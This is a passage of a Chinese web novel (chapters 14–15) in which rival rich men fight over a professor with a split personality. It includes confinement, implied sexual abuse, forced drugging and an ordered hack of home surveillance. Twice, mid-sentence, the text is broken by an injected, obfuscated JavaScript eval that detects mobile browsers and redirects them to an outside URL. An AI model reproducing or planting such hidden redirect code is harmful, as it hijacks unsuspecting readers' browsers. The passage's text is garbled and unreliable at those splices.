气极的他胸膛微微起伏,下一瞬,郁杉猛得用力将程絮拽入浴缸。 郁杉用打石膏的腿重压在程絮的身上,压制住程絮突然下意识的反击,另一只手肘扼住程絮的脖子抵在浴缸边缘。 沾了血迹和白色沐浴露泡沫的水花激溅到两人脸上,程絮对上郁杉冷漠冰寒的眼神,像是看到了一只负伤后殊死反击的狼。 程絮眼中漾开了些许波澜,他本来就觉得郁杉不该是先前那种弱小无力的模样,他从不会怜悯弱者,郁杉此刻的样子才终于让他正视起来。 郁杉蓄力的这一击根本压制不住程絮多久,察觉到郁逐渐失力的程絮随时可以挣脱,他目光闪烁了一下,说:“石膏里浸水了。” 就算有塑料膜缠着,这样完全浸没在水中也不可避免地浸进了水。 郁杉知道,他打石膏的小腿此刻浸了水后重得他抬都抬不起来,只能强撑着维持这个姿势。 程絮轻易挣开郁杉的钳制,他翻过身将郁杉压在身下,无视郁杉愠恼冰寒的目光,拽住郁杉手上的断裂锁链将挣扎的郁杉两只手缠缚住。 程絮动作不算重,他皱了皱眉说:“我对你并没有冒犯的恶意,你不必这么抵触我。” 挣不开的郁杉深吸一口气,闭上眼让自己冷静下来,他语气冷淡地说:“洗快点。” “嗯。”程絮低声应下,他放掉浴缸里的水,打开淋浴头冲洗着郁杉身上的泡沫,动作迅速。 郁杉煎熬地忍受着内心的羞耻和难堪,冷着脸一言不发。 倒是程絮先开口破了这极致尴尬的僵局,他扯下浴巾擦拭着郁杉身上的水迹,突兀地说:“我大一就缀学了,之后便一直跟在石少身边做事。” “郁教授,大一开学初的时候我听过你两节课,讲的很好。”程絮将另一条浴巾裹在郁杉身上,将人抱起走出浴室。 程絮像是想以此和郁杉拉近些距离,但郁杉听到程絮认识他时,他封闭的心口被豁开一道裂缝,连同呼吸都一顿。 郁杉的手蓦地攥紧,他睁开眼看向程絮:“你以前是A大的学生?” 郁杉以为郁寒的圈子里没有他认识或者认识他的人,所以才能在自欺欺人的自我安慰中强忍下这些屈辱。 但现在,像是连最后一层自我保护的薄纱都被残忍的捅破。 程絮看出郁杉情绪不对:“别紧张,我只见过你两次,后来就没去过学校了,学校里也不认识什么人。” 郁杉目光还是紧落在程絮身上,片刻后他问道:“你是不是有什么事想问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238662|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 程絮发现自己低估了郁杉的敏锐,他目光闪烁着说:“没什么,只是想问你认不认识一个叫池鱼的女生,是A大的心理医学系大四的学生。” 郁杉竟有一瞬间在程絮眼中看到复杂怅然,他心中思酌了片刻,回道:“有些印象,池鱼现在在齐蹊教授开的私人心理医院实习,前天晚上还见过。” 程絮像是没在认真听,他将郁杉放在床上,低头去拆郁杉腿上浸了水的塑料膜。 “怎么了?”郁杉追问道。 程絮沉默了一瞬,他给刚走不久的刘慕笙打了个电话,叫刘慕笙回来帮郁杉将浸进水的石膏拆掉重打。 挂掉电话后的程絮呼出一口浊气,他语气压抑地说:“齐蹊教授温润谦和,在学术领域无数荣誉加身,他优秀而耀眼,A大心理医学系几乎没有几人不仰慕他。” 程絮话题转跳得太快,郁杉迟顿了一秒才反应过来,心中有所猜测的他解释道:“池鱼是个很优秀的女孩,但齐蹊和他的学生绝对不会发生任何关系,这点我可以保证。” 程絮目光垂敛:“我和池鱼从小一起长大,9岁时父母车祸去世后,她就是我唯一的亲人了。” “姐弟变成情侣或许是个错误的选择,但我不甘心一辈子只当她的弟弟。”程絮压抑着难过,语气微不可察地颤抖道,“但贪心的代价是,分手后我连最后一个亲人也失去了。” 程絮闪烁的目光对上郁杉漠然的眼神,他像是在跟一个没有感情的人言述炽热的爱意。 觉得郁杉不懂的程絮自嘲地笑了笑,他长久压抑在平静表象下的是惊涛般狂暴的不甘和疯狂。 程絮笑到眼眶湿润:“我在地下赌场打着黑拳,浑身伤还拼命学习,好不容易考上了她所在的A大,报到的第四天池鱼却跟我说她喜欢上了她的教授齐蹊。” 郁杉听着程絮情绪失控的自述,没有插话,他几乎已经预料到了故事悲惨的结局。 “池鱼要和我分手……可即使为此再难过痛苦,我也舍不得伤她分毫。那一刻,我只想要抢走我姐姐、我爱人的那个男人立刻去死。”程絮眼中蓄着让郁杉心脏骤紧的病态的疯狂。 “这其中,是不是有什么误会?”郁杉皱了皱眉,他印象中池鱼对齐蹊只是单纯的钦慕,似乎没有什么别的感情。 那个小姑娘,好像知道齐蹊喜欢他。 “什么误会?”程絮笑着,眼中却只有戾气。 “你不如亲自去问问她。”郁杉说,“我印象中她和齐蹊只是普通的前后辈关系,她倒是和齐蹊的助理走得更近些。” 卧室外响起敲门声。 程絮敛了笑,从衣柜里拿出一件干净的睡袍给郁杉换上,他平静地说:“郁教授,我哪有那么容易被这么简单的话术转移仇恨。” 敲门声又响了一遍,程絮打开门看向刘慕笙:“不是走了吗?怎么回来这么快?” 刘慕笙没回答,他之前根本没走远,只将车开出了石泽毅的庄园,他一个人坐在车里平复了很久的心绪,最后从通讯录里翻出了几乎不怎么联系的齐蹊的号码。 他联系完齐蹊后又接到了程絮的电话,刘慕笙便又匆匆调头回来。 程絮看着径直走向郁杉的刘慕笙,关上门落后半步跟在后面。 “怎么洗个澡这么不注意。”刘慕笙皱了皱眉,他看着郁杉腿上浸水后变成浅灰的石膏,低下头用石膏剪细致地剪开表面的绷帶。 “打了一架。”程絮平静地回道。 “他是伤患啊,没石泽毅同意你怎么敢对他动手的?”刘慕笙语气带着明显的责备和维护。 “他打的我。”程絮语气没什么变化,甚至刘慕笙拆石膏的上下托时还帮忙搭了下手。 “?”正要数落程絮的刘慕笙问号脸。 郁杉看向刘慕笙问:“这腿伤什么时候能养好?可以不打石膏吗?” 折掉石膏的刘慕笙伸手捏了捏郁杉的小腿,徒手分辨骨节的位置,然后说:“只是轻微骨裂,你不乱动的话不必打石膏。” 刘慕笙用夹板和绷带将郁杉的右腿固定住,劝说道:“别动气别打架,不然骨折错位伤势会加重的。” 郁杉正想说什么,石泽毅突然打开门冷着脸走了进来。 石泽毅揪着郁杉的睡袍领子,将人从床上拎了起来:“你刚才背着我联系过宗寰?他现在像条疯狗一样问我要人,来,说说你是怎么低三下四地乞求他别嫌弃你脏的?” 石泽毅冰冷的目光扫过程絮和刘慕笙:“是谁给他手机联系的?” 程絮站出来解释:“石少,郁教授刚才没和任何人联系过,我手机的通话和信息记录可以给您查。” 石泽毅接过程絮翻看着,记录有没有删过的痕迹他看得出来,石泽毅也相信程絮不会做逆他意的事情。 但在翻查刘慕笙的手机时,石泽毅微顿,他眯了眯眼睛,语气冰冷地吐出两个字:“齐蹊?” 14. 始乱终弃 刘慕笙被吓得脊骨发寒,石泽毅先前不是默许郁杉联系齐蹊的吗?但听石泽毅这语气,刘慕笙一时也分辨不清石泽毅对齐蹊的态度。 刘慕笙还没想好怎么给出合理的解释,窗外突然警鸣声四起,楼下猛得传来巨大的破门声响,紧随着是一楼佣人的惊叫声。 石泽毅冷冷地扫了一眼刘慕笙,松开被勒得满脸涨红的郁杉的衣领。 石泽毅没有太计较他们联系齐蹊的事,眼下发疯带警队闯进来的宗寰才是最棘手的。 卧室外传来急促的脚步声,三人回过头朝门口望去,气势汹汹冲上来的宗寰双眼猩红地扶着门框喘着粗气,那凶戾的眼神像是要将三人活剥了一样。 宗寰目光锁在面色苍白的郁杉身上,郁杉一身睡袍被扯得凌乱半开,他正用手肘强行支起身子猛烈地咳着嗽,样子虚弱得明显刚受了什么虐待。 “石泽毅,你这个畜牲!我艹你妈!”宗寰甩上门把身后跟着的人关在外面,冲上去对着石泽毅的脸就是一拳。 闪避不及的石泽毅下颚处挨了一下,与此同时程絮一拳袭中宗寰的腹部,一只手格挡住宗寰继而落下的勾拳,反手将宗寰制在地上。 石泽毅抬手揉了揉下颚处迅速肿起的淤伤处,目光深沉危险。 宗寰挣扎着,咬牙切齿地怒吼道:“石泽毅,你他妈敢动我的人!我要杀了你!” “宗寰,你要不要看看自己现在在做什么?”石泽毅居高临下地俯视着地上的宗寰,“堂堂寰宇集团的太子爷,此刻像条失了智的疯狗,狼狈又可怜。” 屋外听到了里面打斗的声响,一群警员和宗家特聘的保镖很快破门冲了进来。 程絮没办法一边压制宗寰,一边应付这么多人,他瞬间松开宗寰,反应迅速地将冲进来想扣住他的几人撂倒在地。 “程絮,别袭警,回来。”石泽毅出声制止发了狠劲儿干架的程絮。 程絮不慎被一记肘击袭中背部,他没有丝毫停顿地屈身一个扫腿将一个刚爬起来拖抱住他的黑衣保镖撂倒。 随后程絮才拍了拍身上打斗沾染的灰尘,面不改色地退到石泽毅身侧。 石泽毅冷着脸对警队领头的中年警官说:“林局,什么事劳烦你这么大阵仗?深夜强闯民宅总要给个说法吧。” “石少啊,有人举报你这边涉嫌强.奸和聚众淫.乱,我来看看是不是有什么误会。”林局长面色和善地说。 石家和宗家他都得罪不起,但宗寰冒头举检石泽毅,他不得不跑这一趟。 “谁举报的,宗寰?”石泽毅挑了挑眉,看向狼狈爬起的宗寰说,“你还是够狠心啊,这种脏门楣的事儿上赶着曝光出来,都不顾忌一下你小情人的名声了吗?” 宗寰没吭声,他回敬石泽毅的目光寒冷得像把生剖人心的冰刀。 宗寰其实不愿意任何人瞧见郁寒被玩弄毁掉的样子,但不联系警局他硬闯进石泽毅家需要耗上很多的时间,他难以想象他多晚来一秒,郁寒又要多遭受怎样的摧残折辱。 “这点石少放心,我们市局办案会保护当事人隐私的。”一旁的林局长听石泽毅的话里没有否认的意思,他眼中闪过商利的精光。 他现在抱着公事公办的态度,虽然这事最后肯定会被强压下去,但石家的帐算不到他头上,他即卖了宗家面子又握了石家把柄,他们市警局日后也不必再处处受这俩地头蛇的气。 石泽毅没把林局长的那点心思放在眼里,他扫了眼宗寰腹部还渗着血的伤处,嘲讽道:“说起来这强.奸的罪名宗少也该有一份,非法拘禁和性.虐待可不比我逊色到哪儿去。” 林局长看着他们狗咬狗,笑着出来打圆场:“这其中肯定有什么误会,不如大家都去我们警局坐坐,喝口茶好好谈谈。” “林局盛情相邀,自然也不好拂了您的面。”石泽毅淡定的好像真的是去警局喝杯茶,他缓步走上前做了个移步的示意。 林局颔首一笑,跟着石泽毅往外走,程絮和刘慕笙也跟了上去。 两个收集证据的年轻警员将床上的郁杉搀起来,他们看着郁杉身上半露出的痕迹和手腕上勒出红痕的断裂锁链,神色掺着些怜悯。 一位警员将可能留有精.斑的床单收叠留证,另一位正义凛然地安抚着郁杉:“别怕,法律一定会替你讨回公道的。” 郁杉抿着唇没说话,任由两人帮他解着手上的链子和脖子上的金属项圈,他心中的那点儿难堪已经将他淹没,麻木到冷漠。 宗寰掠过人群走过去,打断了年轻警员用电子万能干扰钥匙强破开项圈锁芯的动作。 他将外套裹在睡袍半解的郁杉身上,将人横抱起,宗寰目光幽暗隐忍地说:“出事时郁寒不在吗?你怎么那么蠢,连自己都保护不好。” “你的药让郁寒暂歇性沉眠了,但石泽毅并没有对我做什么。”郁杉轻声说,他极度疲惫,甚至没心力挣开宗寰的怀抱。 也不知道这场闹剧究竟什么时候能结束,郁杉内心只期盼齐蹊能早些找过来。 “他没对你做什么?”宗寰将怀里的郁杉抱得更紧些,他的语气半点不信。 郁杉没再解释,他靠着宗寰半阖着眼,神色虚弱冷漠,他真的不想再应付这些了。 倦乏间,郁杉脑海中突然传来郁寒的声音:“什么做什么,你们打什么哑谜呢?” 刚醒的郁寒语气里还有些未消的虚弱,他并没有这段时间的记忆。 郁杉平静地同郁寒陈述了一遍石泽毅发疯折腾他的事,他和郁寒现在是一条绳上的蚂蚱,应付这些疯子郁寒要比他得心应手的多。 郁寒没急着接过身体的控制权,听完郁杉的陈述后郁寒顿了片刻,他语气暧昧旖旎地笑问:“委屈宝贝了,不过,你这是……在跟我告石泽毅的状吗?” 郁杉本就冷淡的态度直接降到冰点,他无语到理都不想理郁寒。 郁寒安抚地给郁杉解释道:“石泽毅闹这么一出,可不只是想看宗寰吃瘪,他大概率是在因为我优先选择找宗寰没选择他而置气。” “石泽毅是想让宗寰以为我被弄脏了而放弃远离我,这样我就只能依附他了。”郁寒语气懒洋洋地,带着些戏谑嘲弄,“不顾他显然没有料到宗寰在乎我到这种程度,连报警这种疯事儿都做的出来。” 郁杉不太明白郁寒说的选择宗寰没选石泽毅是什么意思,他只厌烦冷漠地说:“你惹了好多麻烦。” “郁杉,你的生活太无趣了,要学会多找些刺激。”郁寒笑吟吟地说,“乖啦,不生气,你先睡一会儿。” 郁杉没应,反倒强撑着精神没睡去,他直觉齐蹊很快就会找过来,所以他现在不能让郁寒出来。 郁寒见郁杉强撑时轻易猜到了他的想法,他轻轻嗤笑一声,但原先那份温和的笑意完全淡了下去。 郁寒没再说话,他现在状态也不是很好,没选择在此刻做出什么强制措施。 抱着郁杉的宗寰目光从郁杉阖敛微颤的睫羽上扫过,郁杉这副明显拒绝交流的模样让他心堵,他心中的质疑和躁郁都没等到任何解答和安抚。 宗寰盯着郁杉沉默了很久,才强压下眼中的戾气,快步走了出去。 和石泽毅一同走在最前面的林局正面色肃然地接着什么电话,紧接着像是又有一个电话打进来,他看了一眼来电人的名字后讯速挂掉前一个,语气和善地说:“齐少啊……” 石泽毅、宗寰同时看了过去,林局被两道锁定的视线盯得身子一紧,连跟齐蹊说话的语气都紧张了起来了。 齐蹊的车停在庄园外一众警车前,他站在镂花的铁栅大门外,看着走出来的众人。 他在让警局撤掉失踪调查时,说明了他要找的人在石泽毅家,管失踪案侦查组的警局副局突然一顿,告知了他石泽毅被人举报涉案的事。 听到那些的那一瞬齐蹊惊得心脏骤停,他费了很大的力气才强迫自己冷静下来。 此刻齐蹊径直走上前,想抢走宗寰怀里的郁杉,宗寰神色警惕地退后几步和齐蹊拉开距离。 察觉异况的郁杉半睁开眼,他看清了眼前来人的身影,抒了口气,轻喊道:“齐蹊。” 齐蹊的手紧握成拳,他看向林警长说:“林局,这边的情况我大体了解,这位就是我前两天报失踪案找的朋友,他有精神病史,现在受激后的情况很不稳定,我是他的主治医生,麻烦您把人交给我。” 按照正常程序,确实应该先照顾安抚受害人的情绪,但林局看着明显不肯放人的宗寰,一时也不知道怎么开口。 林局只能硬着头皮说:“齐少,这位是这次案件的主要证人,我们需要他跟着去警局一趟做下笔录。” 齐蹊扫了一眼面前的宗寰、石泽毅、刘慕笙,他思绪清晰地说:“这只是场误会,郁杉今晚受了伤,石泽毅只是将他带回来治伤,刘医生有在治疗后的第一时间联系我,我手上有通话记录。” 但面色虚弱的郁杉身上的锁链、项圈,看起来真的让齐蹊的解释很牵强。 齐蹊的指甲死死掐入手心,强迫自己不在此刻失态,他语气温和地向郁杉征求回应:“阿杉,今晚在这里并没有发生什么,对吗?” 郁杉明白齐蹊的意思,齐蹊想保全他的体面,他看出齐蹊迫切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238663|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地想带他先离开这里,有什么事情晚一些再算账。 郁杉推了推抱着他的宗寰,语气冷漠地说:“我不去警局,我跟齐蹊走,今晚的事石泽毅家的客厅和客卧中都有监控,你们可以直接去查证。” 齐蹊微不可察地松了口气,郁杉既然这么说,那应该是真的没发生什么了。 但宗寰还是不肯放开手,看郁杉竭力挣脱自己,宗寰心中戾气翻涌,他忍无可忍一记手刀劈在了郁杉后颈处,然后将昏眩过去的郁杉紧紧塞在怀里。 “当着这么多人的面,这怎么还动起手来了。”石泽毅低沉的声音带着些笑意,他看向像只护食的头狼的宗寰,出声说,“这家属都来了,宗寰,把人给齐蹊吧。” “家属”两字明显是在故意刺激恶心宗寰,石泽毅看上去并不介意齐蹊带走郁杉。 宗寰敏锐地觉得有诈,他对上恶意取笑的石泽毅的目光,回讽道:“我真没想到,石泽毅你也有到嘴的肉不吃的时候,既然今晚只是个误会,那我改日会登门赔礼道歉。” “但现在我要把人带走,有谁能拦得住我吗?”宗寰语气狂獗,一句话落,他带来的那些黑衣保镖围尽都站在他身侧,压迫的气势极为逼人。 石泽毅看了眼身侧一直面色阴郁的程絮,勾了勾唇角:“程絮,去把人抢过来。” “咳。”就站在石泽毅旁边的林局咳嗽一声,“当着警察的面,聚众斗殴不好吧。” 石泽毅拍了拍林局的肩膀,意味深长地笑着:“我今夜平白受了诬陷,总该讨些公道回来,林局你说是不是?放心,只是朋友间打闹,有分寸。” 林局心头一紧,如果这事确实是个误会,那他再留下就是把石家得罪死了,他稍有些慌乱地说:“那石少、宗少、齐少,你们慢慢聊,我们就先撤队了。” 等到警局的人都离开后,程絮捋了捋衣袖,随后速度极快的挥拳打上了先前从背后袭击他那名的黑衣保镖。 程絮侧步闪避开接连袭落下来的紧密拳风,他屈腿下蹲一记横扫腿再次撂倒了已经在他手中败过一次的保镖。 黑夜中,程絮纤瘦的身影却矫健有力,他挥拳间都迸发间恐怖危险的爆发力。 齐蹊留心看了一眼程絮,他皱了皱眉,齐蹊察觉到了程絮身上病郁的戾气,沉重而压抑,所以此刻程絮宣泄式的干架中显出一股极端的疯狠劲儿来。 这个青年,是隐性的反社会型危险人格,去做精神鉴定绝对不合格那种,齐蹊想不通石泽毅为什么要养这么个危险的狼崽在身边。 不过程絮的身手很给力,他身上虽在混战中大大小小落了些伤,但十数名黑衣保镖都已经被击倒在地,爬都爬不起来。 程絮在离宗寰五步的距离处和他面对面站着,程絮顿了下,先礼后兵道:“宗少,冒犯了。” 说着程絮就上前想从宗寰怀里抢人,他出手速度极快,一手去抱郁杉,一手反扼住往后退的宗寰的脖子,将人抵在铁栅门上轻易制住。 齐蹊快步上前接抱住郁杉,但在和程絮接触到的一瞬间,他感觉到了让人如芒刺骨的危险,齐蹊目光微凝,程絮对他有杀意。 被钳制住的宗寰感觉到自己怀里的人被强抢走,他咬牙气急地说:“找死。” 双手空下来的宗寰握住程絮的手向外拽着,微微弓身然后抬腿向程絮腿窝踹去。 宗寰和程絮厮打间,在郁杉昏迷后接替身体的郁寒睁开了眼,他一眼就正对上了齐蹊担忧的目光,郁寒恶心得浑身发毛,他手肘猛得击向齐蹊的胸膛。 齐蹊闷哼一声,却没有撒开抱住郁寒的手,他意识到眼前醒来的是郁寒后,反应极快的将一只备好的针管抵进郁寒后颈,强效肌肉松弛剂的注射让郁寒很快失去力气。 郁寒握了握拳,手上却根本聚不起力气,他看向揣手安然站在一旁的石泽毅,气恼地说:“石泽毅,你就这么看戏?” 石泽毅目光从齐蹊手上那只空掉的药剂针管上扫过,眼中闪过暗色,他面上笑闹着说:“不是某个始乱终弃的家伙刚才口口声声说要跟齐蹊走吗?我只是,如你所愿。” 窝在齐蹊怀里挣扎不得的郁寒觉得自己简直受了奇耻大辱,他愠怒地喊着刻意搞事的石泽毅:“神他妈始乱终弃,石、泽、毅——!” 齐蹊把吵闹的郁寒往车里摁,被程絮拖住的宗寰却在此时猛得突破程絮的纠缠,他扑过去将郁寒往齐蹊的车外扯。 死死抱住郁寒的齐蹊被绊得一个踉跄,他覆压在郁寒身上一起跌在了后车座上。 齐蹊的唇猝不及防贴到身下人柔软温热的唇瓣上,空气顿时寂静了一瞬。 15. 视频录像 齐蹊瞳孔微缩,温热的鼻息拂在两人脸上,像是挠人心弦的轻柔羽毛,齐蹊呼吸骤紧,不舍得挪开。 被压着的郁寒面色铁青,他重重地咬破齐蹊的下唇,但齐蹊吃痛也没有起开的意思,甚至隐隐有加深这个吻的意思。 车外的宗寰被程絮抱住腰向后拖离开,程絮的动作扯动了他腹部早已崩裂开的伤口,鲜血沾了程絮满手。 程絮跟宗寰动手时一直留有分寸,他见手上一片腥红时微微怔住,稍微卸了些力。 宗寰瞬间趁机挣开,他冲上去将齐蹊一把拽起来,被拽离的齐蹊反应极快的拉上车门锁住,然后转身背抵着车门和宗寰对峙。 宗寰盯着齐蹊,语气冰冷道:“开门。” 一旁的石泽毅突然开口说:“宗寰,郁寒在你我这儿都养不好伤,你难道想让他瘸一辈子?” “那又如何?”宗寰强硬的态度没有任何转变,他伸手想去强砸开车门。 齐蹊挡在车门前,气势一改原本的温柔谦和,姿态强势地说:“不知道宗少是以什么身份问我要人的,据我所知,郁杉应该和您不熟吧?” “那你呢,你是什么身份,跟我抢人?”宗寰冷笑着,看向齐蹊的目光如同在看不知死活的小丑。 齐蹊并没有被宗寰骇人的眼神吓到,控制不住自己情绪的人在他眼里都是毫无威慑力的可怜虫。 齐蹊唇角轻扬:“我以郁杉男朋友兼主治医生的身份,有什么问题吗?” 在宗寰发火揍齐蹊前,石泽毅的手搭上了宗寰的肩膀:“冷静点啊,宗大少爷。” “石泽毅,你今晚到底什么意思?”宗寰气结,他猛得拽住石泽毅的手骨往外一拧。 石泽毅手肘翻转卸掉宗寰的拽力,不过石泽毅看起来没什么打架的心思,他看了眼齐蹊,对宗寰说:“郁寒对齐蹊什么态度你又不是不知道,他怎么可能真在郁寒手上讨到便宜?” 刚占了郁寒便宜的齐蹊眉头微挑,没有插话,虽然不知道为什么,但石泽毅好像一心想他带走郁寒。 石泽毅淡笑着,接着说:“宗寰啊,逃出去宠物不要急着抓回来,先吓一吓,逼一逼,再抓回来后才会乖。” “石泽毅,我和郁寒之间的事不需要你插手。”宗寰皱了皱眉,他冷冷地扫了齐蹊一眼,讽笑着问,“郁杉的男朋友?你还真敢说啊。” 齐蹊看到了宗寰眼中压抑的怒火,他面无异色,手却警惕地伸进了衣兜握住一支镇静药剂。 但宗寰没有攻击齐蹊,他一拳砸上了齐蹊身后的车窗玻璃,防窥车窗应声碎裂开。 躺在车后座的郁寒面色惨白痛苦,明明先前还有些力气叫喊,此刻呼息却轻浅急促得像是喘不过气般,他聚不起力的身子痉挛地抽抖着。 宗寰目光一沉,沾着血迹的手揪起齐蹊的领子,怒斥道:“你刚才对郁寒做了什么?!” 石泽毅也神色严峻,转头冲避开混战站得远远的刘慕笙沉声道:“刘医生,你过来看一下。” 齐蹊握住镇静药剂的手微紧,刚才制服郁寒的心思太过焦急,他居然犯了低级错误,大剂量的肌肉松弛剂不可以在人清醒状态下注射,这药剂除了让人失去力气以外还对人体呼吸系统和心血管系统产生压迫。 严重的,会窒息而死。 齐蹊连忙解开车锁将车门打开,但在他动作之前宗寰已经先一步将郁寒抱了出来。 齐蹊想给郁寒注射能让他昏睡的镇静剂,但他针剂刚拿出来时,余光一直盯着他的宗寰就警戒地将他手上的药剂打翻在地。 靠过来的刘慕笙隔开了齐蹊和宗寰,他伸手探了探郁寒的脉膊,皱着眉说:“心律失常,血压过低。” 齐蹊对上郁寒嫌恶凶戾的眼神,面不改色地弯腰将镇静剂捡起来递向刘慕笙,解释道:“是清醒状态下注射过量肌肉松弛剂引起的自主呼吸困难,睡过去就能缓解。” 刘慕笙翻了翻医箱:“我带了麻醉剂,那个见效快。” “艹。”被折腾的郁寒虚弱地吐出一个脏字,在麻醉剂夺走意识前断断续续地问了一句,“你们这阵仗……到底是、想做什么……” “咳。”刘慕笙咳嗽了一声,他们三个人紧紧围在郁寒身侧,程絮和石泽毅也只稍远了两步的距离,他们这又是肌肉松驰剂又是麻醉剂的,看起来……确实是有些像要做什么不太好的事。 宗寰仍旧紧紧抱着郁寒,但他面色因失血而极为苍白,齐蹊看到宗寰身形有一瞬的虚浮,他瞬间越过刘慕笙将手中的镇静剂的针头抵进宗寰的肩部。 齐蹊带的注射器的针头都是特殊的弹射嵌入式,宗寰挣动地退开的瞬间,含着镇静药剂的粗针头生生断裂在了他肩膀里。 “卧槽!”刘慕笙连忙劝架,“别打架别打架,求你们了!” 齐蹊面色平静地后退半步,镇静剂五到十分钟就会生效,他慷慨地容许宗寰再抱几分钟他的人。 “宗少你别乱动,我先帮你把针头取出来。”刘慕笙看看宗寰流血的手,又看看宗寰流血的腹部,觉得自己没办法装看不见了。 石泽毅看着逐渐站不住的宗寰,笑吟吟地说:“炸毛狐狸凶是凶了点儿,但还挺好玩儿的。” 宗寰咬着牙恶狠狠地瞪着石泽毅,他额间冒了些细汗,虚浮的身子半倚着车才勉强站稳,但手上抱着郁寒的力道却没松懈半分。 刘慕笙摁着宗寰,将残留在他肩头的粗针头用镊子夹出来,然后用医用纱布给宗寰腹部的伤止血。 程絮扫了眼地上倒成一群的黑衣保镖,向石泽毅请示道:“这些人怎么办?要处理掉吗?” 石泽毅语气嘲弄地笑了笑:“叫车送医院吧,给宗少留几分薄面。” 随着困倦感席卷全身的神经,宗寰所有冲动暴戾的情绪都渐渐退去,他心中只剩下带走他的郁寒这一个执念。 身边的嘲弄也好,讽笑也罢,宗寰通通漠视,他只抱着郁寒固执地向外走。 步子越来越沉重,身子摇摇欲坠,但宗寰抱住郁寒的双臂,聚集着浑身的力气,沉稳有力。 连身上的疼痛都无法让困顿的意识清醒,宗寰踏出的一脚蓦地失重,单膝跌跪在地。 齐蹊目光闪烁,他面上温和地笑着,上前两步去将宗寰怀里的人抢过来。 他声音轻柔温和如催眠曲:“你带不走他的,交给我吧。” 但意识恍惚的宗寰仍半分不为齐蹊的心理暗示所动,他看向齐蹊的眼神,漠然而高傲。 齐蹊眸光微沉,在宗寰踉跄着重新站起身后,他露出一个温柔好看到恍眼的笑容。 齐蹊一根一根残忍地掰开宗寰抱住郁寒的手指,几乎用上了能让人骨折的力气。 宗寰几乎快撑不动沉重的眼睑,他看向蓦然一空的双手,迟钝的思绪只觉得被难过和不甘淹没,那种空落落的丢失珍宝的感觉几乎将他逼得发疯。 抱着郁寒的齐蹊后退两步,冷眼看着被迫昏睡过去的宗寰栽倒在地上,他冷漠的眼神让面上的笑容违和得渗人。 齐蹊身上凌人的气势让想去扶一下宗寰的刘慕笙不敢动作,甚至齐蹊往车这边走时他还畏惧地退远了几步。 “今日算是见识了,齐教授也是狠角儿啊,连宗寰都敢得罪。”石泽毅称齐蹊为教授的语气带着戏谑,他还是那幅看戏的姿态,却无端让人觉得森寒,“宗寰玩儿不过郁寒,也不知道齐教授能不能制住郁寒这个祸害。” “我会让他彻底消失。”齐蹊眼中的冷意与石泽毅相较也不逞多让。 他将郁寒放在副驾驶座上,将安全带拉到最长捆住郁寒再扣死在座位上。 关上车门的齐蹊目光扫过给他报信的刘慕笙,分不清他和石泽毅是不是一伙儿的,只礼貌客气地说了句:“多谢,回见。” 程絮平静地注视齐蹊的车离开,只是目光盯着那个方向很久都不曾挪开。 “小絮,你和齐蹊结过仇?”石泽毅看向程絮问。 程絮没有回答,算是默认,他只是问出了自己的疑惑:“石少为什么要大费周张地把郁教授救出来,又白白送到齐蹊手上?” 石泽毅颇有深意地看了程絮一眼,语气慵懒而森寒:“郁寒说想杀了齐蹊,我总要推波助澜给他制造机会不是?” 程絮心神微动,低下头掩下复杂的情绪。 刘慕笙扶起昏睡的宗寰,一脸愁容地问:“这宗大少爷这么处理?” 石泽毅笑了笑:“刘医生不是嫌今天叫你来空跑了一趟吗?把他带进去处理一下伤势吧,然后让我们宗大少爷安安心心睡得久一点。” 转身朝庄园内走去的石泽毅想起宗寰家里的监控,掏出手机给手下养着的最得力的黑客拨了通电话:“萧庭,帮我入侵宗寰星月湾家中的监控系统,调出这三天的所有监控录像并且毁掉今天凌晨两点之后的监控记录。” 十分钟后,回到别墅客厅的石泽毅收到了萧庭剪辑过的有效监控录像……还有一段意料之外的超清视频。 石泽毅手指微微一顿,目光晦暗地点开了超清视频。 入目是一张沾染脆弱病虐感的疏冷稠丽的脸,漂亮得让人心中生出无限的恶劣欲望。 石泽毅目光闪烁,随着视频中宗寰的声音,镜头拉远了些,床上的郁寒双手无力的垂着,一只脚被银链锁住,脸上还是张扬挑衅的笑容。 直到宗寰拉开一旁的床头柜取出一根细长的黑色小棍,郁寒才变了脸色,开始随着宗寰的动作疯狂而徒劳地挣扎起来。 石泽毅听着郁寒慌张畏惧地叫着宗寰的名字,无声地笑了笑,郁寒就是这副欠管教的性子。 视频里反抗不得的郁寒眯着眼,强迫自己一点点放松紧绷的身体,不堪忍受这磨人酷刑的他高仰的颈脖上喉结滚 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看完视频的石泽毅喉结微微滚动,目光幽暗,收拾好外面残局的程絮正好回来,石泽毅抬眸道:“程絮,过来。” 石泽毅不喜欢被俯视,知道这点的程絮安静地跪在石泽毅脚边,乖顺得像拔去尖牙利爪的狼犬。 石泽毅脚尖勾起程絮的头,对上程絮平静无波的眼眸问:“齐蹊据说是个很厉害的心理催眠师,催眠这东西可以轻易摧毁一个人,齐蹊绝对不容小觑,程絮,你说郁寒解不解决得了齐蹊?” “齐蹊的心理暗示连宗寰都控制不了。”程絮想起先前的场面,不假思索地回道。 “我才说过齐蹊不容小觑,你是在质疑我吗?心理暗示这种东西是无孔不入的,程絮,你怎么知道齐蹊没有成功给宗寰下暗示?”石泽毅似笑非笑,他脚上用力,踩着程絮的肩将他制在地上。 